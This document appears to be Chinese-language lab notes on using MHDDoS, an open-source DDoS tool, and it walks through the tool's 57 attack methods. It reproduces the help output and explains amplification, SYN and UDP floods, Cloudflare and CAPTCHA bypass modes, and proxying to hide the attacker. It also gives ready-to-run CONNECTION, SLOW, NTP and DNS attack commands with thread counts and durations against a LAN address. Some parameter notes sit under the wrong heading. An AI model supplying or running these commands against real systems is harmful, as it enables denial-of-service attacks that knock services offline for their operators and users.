# MHDDoS 攻擊使用


## MHDDoS 介紹

[連結](https://github.com/MatrixTM/MHDDoS)，MHDDoS 是一個基於 Python 開發的開源分散式阻斷服務（DDoS）攻擊工具，他除了一般 L3/L4 攻擊模擬，還有很多 L7 應用層相關的攻擊模擬。

所以他的特色是 L7 應用層模擬，像是有一些參數甚至能繞過 Cloudflare 或 Google Shield 的基礎防護。

他也支援代理，原生支援使用 Proxy (SOCKS4, SOCKS5) 來隱藏攻擊者來源。

## 參數

```bash
adl@Twinkle:~/git_projects/MHDDoS$ python3 start.py  -h
* MHDDoS - DDoS Attack Script With 57 Methods
Note: If the Proxy list is empty, The attack will run without proxies
      If the Proxy file doesn't exist, the script will download proxies and check them.
      Proxy Type 0 = All in config.json
      SocksTypes:
         - 6 = RANDOM
         - 5 = SOCKS5
         - 4 = SOCKS4
         - 1 = HTTP
         - 0 = ALL
 > Methods:
 - Layer4
 | MCBOT, VSE, FIVEM, DNS, ARD, NTP, UDP, TCP, MINECRAFT, MEM, SYN, OVH-UDP, TS3, MCPE, CHAR, RDP, CPS, FIVEM-TOKEN, ICMP, CLDAP, CONNECTION | 21 Methods
 - Layer7
 | APACHE, DOWNLOADER, STRESS, NULL, EVEN, RHEX, XMLRPC, POST, TOR, GET, DGB, SLOW, KILLER, CFB, AVB, PPS, BOMB, BOT, GSB, HEAD, BYPASS, COOKIE, OVH, STOMP, CFBUAM, DYN | 26 Methods
 - Tools
 | INFO, TSSRV, CFIP, DSTAT, PING, DNS, CHECK | 7 Methods
 - Others
 | TOOLS, HELP, STOP | 3 Methods
 - All 57 Methods

Example:
   L7: python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>
   L4: python3 start.py <method> <ip:port> <threads> <duration>
   L4 Proxied: python3 start.py <method> <ip:port> <threads> <duration> <socks_type> <proxylist>
   L4 Amplification: python3 start.py <method> <ip:port> <threads> <duration> <reflector file (only use with Amplification)>
```

這邊列出一些參數：

* L4
  * CONNECTION：TCP 全連線攻擊。完成三向交握並保持連線
  * DNS / NTP / MEM / RDP：反射放大攻擊。偽造受害者 IP 向公網服務請求，利用倍率差（Amplification Factor）轟炸受害者
  * SYN：TCP 半開連線
  * UDP / OVH-UDP：UDP 洪水
  * VSE / MCBOT / TS3：特定協議攻擊，針對遊戲（Source 引擎、Minecraft）或通訊軟體（Teamspeak）的自定義協議包
* L7
  * HTTP 洪水 (GET / POST / HEAD)：模擬大量用戶存取網頁
  * 繞過與偵測 (BYPASS / CFB / GSB)：這些模式專門設計來繞過防火牆或 CDN（如 Cloudflare）。它會自動處理 Cookie、User-Agent 變換，甚至是繞過驗證碼（CAPTCHA）挑戰
  * SLOW：慢速攻擊，建立大量連線，但傳送資料極慢（例如每 10 秒才傳 1 byte）

然後提供工具模式

`python3 start.py TOOLS` 進到工具模式，可以用 DSTAT 看送的流量，以及還有其他的工具。

![alt text](image.png)

## 模擬攻擊

以下實際用看看攻擊。

### TCP Connection Attack

攻擊者使用 `python3 start.py CONNECTION 192.168.169.90:80 100 20`，使用 100 threads 跑 20 秒。

![alt text](image-1.png)

上面，發起攻擊。

![alt text](image-2.png)

上面，如上看到相關的資訊，在 CONNECTION 模式下，攻擊機發出 ACK 或 PUSH 封包來維持連線，受害者則回傳對應的 ACK。因為連線已經建立，所以不需要像 Flood 那樣噴出幾十萬 PPS，只需要少量的流量就能「霸佔」住受害者的資源。

受害者用 `watch -n 1 "ss -ant | grep ESTAB | wc -l"` 會看到 ESTABLISH 連線變大。

1021 這個數字非常關鍵。在 Linux 中，一般使用者行程預設的 ulimit -n (最大開啟檔案數) 正好是 1024。

### L7 Slow Attack

```bash
# 格式: python3 start.py SLOW <url> <socks_type> <threads> <proxylist> <rpc> <duration>
python3 start.py SLOW http://192.168.169.90 1 500 "" 10 600
```

### NTP Flood

```bash
# 格式: python3 start.py NTP <ip:port> <threads> <duration>
python3 start.py NTP 192.168.169.90:123 1000 600
```

參數解析：

* 1: 代表使用 HTTP Proxy 模式（但在後方給空字串，它會自動跑直連）
* 500: 建立 500 個慢速連線
* "": Proxy list 為空（因為你在 LAN 測試）
* 10: 每個執行緒每秒發送的請求數（RPC），Slow Attack 建議設低一點，才有「慢速」的效果

注意：受害者端必須有跑 NTP 服務（如 ntpd），否則這只會變成單純的 UDP 垃圾包攻擊。

### DNS Food

```bash
# 格式: python3 start.py DNS <ip:port> <threads> <duration>
python3 start.py DNS 192.168.169.90:53 1000 600
```

